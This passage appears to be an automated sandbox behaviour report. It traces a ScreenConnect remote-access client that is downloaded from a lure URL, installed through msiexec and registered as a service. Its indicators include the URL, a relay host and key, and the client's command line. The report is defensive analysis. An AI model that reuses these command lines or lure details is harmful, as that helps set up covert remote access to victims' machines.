Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-147C-9255DAA92249}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (bb98d73d4a43fbb4)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F45B4282E7105F1C231160D3AD945A92\Version = "436600838"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F45B4282E7105F1C231160D3AD945A92\ProductIcon = "C:\\Windows\\Installer\\{2824B54F-017E-C1F5-3211-063DDA49A529}\\DefaultIcon"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F45B4282E7105F1C231160D3AD945A92\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F45B4282E7105F1C231160D3AD945A92\SourceList	msiexec.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
6020	msiexec.exe
6020	msiexec.exe
1540	ScreenConnect.ClientService.exe
1540	ScreenConnect.ClientService.exe
1540	ScreenConnect.ClientService.exe
1540	ScreenConnect.ClientService.exe
1540	ScreenConnect.ClientService.exe
1540	ScreenConnect.ClientService.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5708	ScreenConnect.ClientSetup.exe
Token: SeShutdownPrivilege	5920	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5920	msiexec.exe
Token: SeSecurityPrivilege	6020	msiexec.exe
Token: SeCreateTokenPrivilege	5920	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5920	msiexec.exe
Token: SeLockMemoryPrivilege	5920	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5920	msiexec.exe
Token: SeMachineAccountPrivilege	5920	msiexec.exe
Token: SeTcbPrivilege	5920	msiexec.exe
Token: SeSecurityPrivilege	5920	msiexec.exe
Token: SeTakeOwnershipPrivilege	5920	msiexec.exe
Token: SeLoadDriverPrivilege	5920	msiexec.exe
Token: SeSystemProfilePrivilege	5920	msiexec.exe
Token: SeSystemtimePrivilege	5920	msiexec.exe
Token: SeProfSingleProcessPrivilege	5920	msiexec.exe
Token: SeIncBasePriorityPrivilege	5920	msiexec.exe
Token: SeCreatePagefilePrivilege	5920	msiexec.exe
Token: SeCreatePermanentPrivilege	5920	msiexec.exe
Token: SeBackupPrivilege	5920	msiexec.exe
Token: SeRestorePrivilege	5920	msiexec.exe
Token: SeShutdownPrivilege	5920	msiexec.exe
Token: SeDebugPrivilege	5920	msiexec.exe
Token: SeAuditPrivilege	5920	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5920	msiexec.exe
Token: SeChangeNotifyPrivilege	5920	msiexec.exe
Token: SeRemoteShutdownPrivilege	5920	msiexec.exe
Token: SeUndockPrivilege	5920	msiexec.exe
Token: SeSyncAgentPrivilege	5920	msiexec.exe
Token: SeEnableDelegationPrivilege	5920	msiexec.exe
Token: SeManageVolumePrivilege	5920	msiexec.exe
Token: SeImpersonatePrivilege	5920	msiexec.exe
Token: SeCreateGlobalPrivilege	5920	msiexec.exe
Token: SeCreateTokenPrivilege	5920	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5920	msiexec.exe
Token: SeLockMemoryPrivilege	5920	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5920	msiexec.exe
Token: SeMachineAccountPrivilege	5920	msiexec.exe
Token: SeTcbPrivilege	5920	msiexec.exe
Token: SeSecurityPrivilege	5920	msiexec.exe
Token: SeTakeOwnershipPrivilege	5920	msiexec.exe
Token: SeLoadDriverPrivilege	5920	msiexec.exe
Token: SeSystemProfilePrivilege	5920	msiexec.exe
Token: SeSystemtimePrivilege	5920	msiexec.exe
Token: SeProfSingleProcessPrivilege	5920	msiexec.exe
Token: SeIncBasePriorityPrivilege	5920	msiexec.exe
Token: SeCreatePagefilePrivilege	5920	msiexec.exe
Token: SeCreatePermanentPrivilege	5920	msiexec.exe
Token: SeBackupPrivilege	5920	msiexec.exe
Token: SeRestorePrivilege	5920	msiexec.exe
Token: SeShutdownPrivilege	5920	msiexec.exe
Token: SeDebugPrivilege	5920	msiexec.exe
Token: SeAuditPrivilege	5920	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5920	msiexec.exe
Token: SeChangeNotifyPrivilege	5920	msiexec.exe
Token: SeRemoteShutdownPrivilege	5920	msiexec.exe
Token: SeUndockPrivilege	5920	msiexec.exe
Token: SeSyncAgentPrivilege	5920	msiexec.exe
Token: SeEnableDelegationPrivilege	5920	msiexec.exe
Token: SeManageVolumePrivilege	5920	msiexec.exe
Token: SeImpersonatePrivilege	5920	msiexec.exe
Token: SeCreateGlobalPrivilege	5920	msiexec.exe
Token: SeCreateTokenPrivilege	5920	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5920	msiexec.exe

Suspicious use of FindShellTrayWindow 52 IoCs

pid	Process
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
5920	msiexec.exe
5920	msiexec.exe
2028	ScreenConnect.WindowsClient.exe
2028	ScreenConnect.WindowsClient.exe
2028	ScreenConnect.WindowsClient.exe
2028	ScreenConnect.WindowsClient.exe

Suspicious use of SendNotifyMessage 36 IoCs

pid	Process
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
3088	msedge.exe
2028	ScreenConnect.WindowsClient.exe
2028	ScreenConnect.WindowsClient.exe
2028	ScreenConnect.WindowsClient.exe
2028	ScreenConnect.WindowsClient.exe

Suspicious use of WriteProcessMemory 52 IoCs

description	pid	Process	procid_target
PID 3088 wrote to memory of 452	3088	msedge.exe	87
PID 3088 wrote to memory of 3496	3088	msedge.exe	89
PID 3088 wrote to memory of 4800	3088	msedge.exe	90
PID 3088 wrote to memory of 2816	3088	msedge.exe	91
PID 3088 wrote to memory of 4800	3088	msedge.exe	90
PID 3088 wrote to memory of 4800	3088	msedge.exe	90
PID 3088 wrote to memory of 2816	3088	msedge.exe	91
PID 3088 wrote to memory of 4272	3088	msedge.exe	92
PID 3088 wrote to memory of 4272	3088	msedge.exe	92
PID 3088 wrote to memory of 4272	3088	msedge.exe	92
PID 3088 wrote to memory of 2108	3088	msedge.exe	93
PID 3088 wrote to memory of 2108	3088	msedge.exe	93
PID 3088 wrote to memory of 2108	3088	msedge.exe	93
PID 3088 wrote to memory of 4160	3088	msedge.exe	94
PID 3088 wrote to memory of 2416	3088	msedge.exe	95
PID 3088 wrote to memory of 4160	3088	msedge.exe	94
PID 3088 wrote to memory of 4160	3088	msedge.exe	94
PID 3088 wrote to memory of 2416	3088	msedge.exe	95
PID 3088 wrote to memory of 2416	3088	msedge.exe	95
PID 3088 wrote to memory of 5088	3088	msedge.exe	99
PID 3088 wrote to memory of 5088	3088	msedge.exe	99
PID 3088 wrote to memory of 5088	3088	msedge.exe	99
PID 3088 wrote to memory of 4796	3088	msedge.exe	100
PID 3088 wrote to memory of 1416	3088	msedge.exe	101
PID 3088 wrote to memory of 4796	3088	msedge.exe	100
PID 3088 wrote to memory of 1416	3088	msedge.exe	101
PID 3088 wrote to memory of 4252	3088	msedge.exe	103
PID 3088 wrote to memory of 4252	3088	msedge.exe	103
PID 3088 wrote to memory of 4252	3088	msedge.exe	103
PID 3088 wrote to memory of 3204	3088	msedge.exe	105
PID 3088 wrote to memory of 3960	3088	msedge.exe	111
PID 3088 wrote to memory of 1120	3088	msedge.exe	112
PID 3088 wrote to memory of 3960	3088	msedge.exe	111
PID 3088 wrote to memory of 1120	3088	msedge.exe	112
PID 3088 wrote to memory of 1120	3088	msedge.exe	112
PID 3088 wrote to memory of 1292	3088	msedge.exe	117
PID 3088 wrote to memory of 5568	3088	msedge.exe	121
PID 3088 wrote to memory of 5576	3088	msedge.exe	122
PID 3088 wrote to memory of 5584	3088	msedge.exe	123
PID 5708 wrote to memory of 5920	5708	ScreenConnect.ClientSetup.exe	127
PID 6020 wrote to memory of 6076	6020	msiexec.exe	129
PID 6076 wrote to memory of 6128	6076	MsiExec.exe	130
PID 6076 wrote to memory of 4636	6076	MsiExec.exe	131
PID 6076 wrote to memory of 3204	6076	MsiExec.exe	132
PID 6020 wrote to memory of 2056	6020	msiexec.exe	137
PID 6020 wrote to memory of 4820	6020	msiexec.exe	139
PID 6020 wrote to memory of 5400	6020	msiexec.exe	140
PID 1540 wrote to memory of 2028	1540	ScreenConnect.ClientService.exe	143
PID 1540 wrote to memory of 4260	1540	ScreenConnect.ClientService.exe	144
PID 3088 wrote to memory of 6140	3088	msedge.exe	151
PID 3088 wrote to memory of 6140	3088	msedge.exe	151
PID 3088 wrote to memory of 5648	3088	msedge.exe	156

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://darisgroup.com.au/team1plus/infodash
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3088
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x250,0x7ff96c5bc188,0x7ff96c5bc194,0x7ff96c5bc1a0
  2⤵
  PID:452
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1756,i,16486750036581659094,6767358364552791517,524288 --field-trial-handle=2480,i,8756305564096566373,1032064894713073742,262144 --variations-seed-version --mojo-platform-channel-handle=2512 /prefetch:3
  2⤵
  - Downloads MZ/PE file
  - System Time Discovery
  PID:3496
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1628,i,10618220746630364230,10934034104139015489,262144 --field-trial-handle=2480,i,8756305564096566373,1032064894713073742,262144 --variations-seed-version --mojo-platform-channel-handle=2476 /prefetch:2
  2⤵
  PID:4800
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2296,i,13178688090356896328,8523438501366206681,524288 --field-trial-handle=2480,i,8756305564096566373,1032064894713073742,262144 --variations-seed-version --mojo-platform-channel-handle=2532 /prefetch:8
  2⤵
  PID:2816
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3428,i,5012028460099800567,10057508262717879116,2097152 --field-trial-handle=2480,i,8756305564096566373,1032064894713073742,262144 --variations-seed-version --mojo-platform-channel-handle=3440 /prefetch:1
  2⤵
  PID:4272
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3432,i,17945420707135695457,10388722053824480209,2097152 --field-trial-handle=2480,i,8756305564096566373,1032064894713073742,262144 --variations-seed-version --mojo-platform-channel-handle=3444 /prefetch:1
  2⤵
  PID:2108
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4212,i,10107086410495940944,360870202745922841,2097152 --field-trial-handle=2480,i,8756305564096566373,1032064894713073742,262144 --variations-seed-version --mojo-platform-channel-handle=4136 /prefetch:1
  2⤵
  PID:4160
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4224,i,8157674930772465932,15986365024855595913,2097152 --field-trial-handle=2480,i,8756305564096566373,1032064894713073742,262144 --variations-seed-version --mojo-platform-channel-handle=4140 /prefetch:2
  2⤵
  PID:2416
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=5068,i,13834073942026423478,12077024286438276514,2097152 --field-trial-handle=2480,i,8756305564096566373,1032064894713073742,262144 --variations-seed-version --mojo-platform-channel-handle=5052 /prefetch:1
  2⤵
  PID:5088
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3512,i,18123202117807532289,17741530272574083941,524288 --field-trial-handle=2480,i,8756305564096566373,1032064894713073742,262144 --variations-seed-version --mojo-platform-channel-handle=3688 /prefetch:8
  2⤵
  PID:4796
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3648,i,4253576691383544357,884887333275830178,524288 --field-trial-handle=2480,i,8756305564096566373,1032064894713073742,262144 --variations-seed-version --mojo-platform-channel-handle=3652 /prefetch:8
  2⤵
  PID:1416
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=5512,i,11966300901070663393,5511188645459480772,2097152 --field-trial-handle=2480,i,8756305564096566373,1032064894713073742,262144 --variations-seed-version --mojo-platform-channel-handle=5556 /prefetch:1
  2⤵
  PID:4252
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6088,i,2803635300977347888,12658823254454433305,524288 --field-trial-handle=2480,i,8756305564096566373,1032064894713073742,262144 --variations-seed-version --mojo-platform-channel-handle=6100 /prefetch:8
  2⤵
  PID:4980
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6088,i,2803635300977347888,12658823254454433305,524288 --field-trial-handle=2480,i,8756305564096566373,1032064894713073742,262144 --variations-seed-version --mojo-platform-channel-handle=6100 /prefetch:8
  2⤵
  PID:3204
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5168,i,1832001406636306199,1231392963606026414,524288 --field-trial-handle=2480,i,8756305564096566373,1032064894713073742,262144 --variations-seed-version --mojo-platform-channel-handle=6188 /prefetch:8
  2⤵
  PID:3960
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=5152,i,5313072450685036312,10529592155686352251,2097152 --field-trial-handle=2480,i,8756305564096566373,1032064894713073742,262144 --variations-seed-version --mojo-platform-channel-handle=5180 /prefetch:1
  2⤵
  PID:1120
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7040,i,18125803744823718056,9322409118235556696,524288 --field-trial-handle=2480,i,8756305564096566373,1032064894713073742,262144 --variations-seed-version --mojo-platform-channel-handle=7044 /prefetch:8
  2⤵
  PID:1292
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4140,i,17526940741389967935,17929877451853186083,524288 --field-trial-handle=2480,i,8756305564096566373,1032064894713073742,262144 --variations-seed-version --mojo-platform-channel-handle=4536 /prefetch:8
  2⤵
  PID:5568
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3520,i,12453785246857618301,14893378714858020211,524288 --field-trial-handle=2480,i,8756305564096566373,1032064894713073742,262144 --variations-seed-version --mojo-platform-channel-handle=4520 /prefetch:8
  2⤵
  PID:5576
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4312,i,12362286888446476343,7436459309919086498,524288 --field-trial-handle=2480,i,8756305564096566373,1032064894713073742,262144 --variations-seed-version --mojo-platform-channel-handle=4508 /prefetch:8
  2⤵
  PID:5584
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3976,i,10097735591158151797,4069348288396501666,524288 --field-trial-handle=2480,i,8756305564096566373,1032064894713073742,262144 --variations-seed-version --mojo-platform-channel-handle=3984 /prefetch:8
  2⤵
  PID:6140
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5364,i,11132730916228486142,3933690187171560688,524288 --field-trial-handle=2480,i,8756305564096566373,1032064894713073742,262144 --variations-seed-version --mojo-platform-channel-handle=3520 /prefetch:8
  2⤵
  PID:4164
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5364,i,11132730916228486142,3933690187171560688,524288 --field-trial-handle=2480,i,8756305564096566373,1032064894713073742,262144 --variations-seed-version --mojo-platform-channel-handle=3520 /prefetch:8
  2⤵
  PID:5648

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3144

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:1292

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5360

C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.exe
"C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5708
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\26.6.6.9747\bb98d73d4a43fbb4\ScreenConnect.ClientSetup.msi" SC_EXE_PATH="C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.exe"
  2⤵
  - Badlisted process makes network request
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:5920

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:6020
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 6AD087B4E4E9C4BAC5243759376B135E C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:6076
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI6EC.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240715593 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:6128
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI9CB.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240716250 11 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiMotw
    3⤵
    - Badlisted process makes network request
    - Loads dropped DLL
    - Reads the TCP/IP host and domain name from the registry
    - System Location Discovery: System Language Discovery
    PID:4636
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIF2B.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240717625 18 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiFileName
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:3204
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:2056
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 4F89F6B92D8F7724D10136E1D9551440
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:4820
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding D6816EC5EAF6A1DE88AF8F9D128525EA E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:5400

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:5428

C:\Program Files (x86)\ScreenConnect Client (bb98d73d4a43fbb4)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (bb98d73d4a43fbb4)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-e992xq-relay.screenconnect.com&p=443&s=953fef5b-43ff-4d64-b3c0-11a2c8b790f7&k=BgIAAACkAABSU0ExAAgAAAEAAQDNK5LZFzms%2b917aGUxUzu0WKFRlT259TQZMldReOC61p2dN%2bwJgwBV6bH10Ps9u0WCqhi54Jr%2bsxVBAbZWdUMQZZQEeNRaUz6vmbBYaVSGQmaBBCObJk2DNvA8gYIZCQfLrFGzPn0vdVEl0ff%2bRr2Na1gz8%2bjpJUH1DOIEwWfy89%2fah%2ffau2gqk4rPryvnskOsQ67VSNKYYNzzF5nFzNWoANyVJFpdAtHqeFUz8%2bTJExu9WMESums3KAudsw7X6KEDYxJEa%2fzpqLi%2bLSX0D5qVB5nI%2b04o5EoQApW07IwfcLiMtaEt5VdJ3TFp%2bab7yKVNEff5dF1gPevrKNfmbzaX&t=PAY4INSTMNT"
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
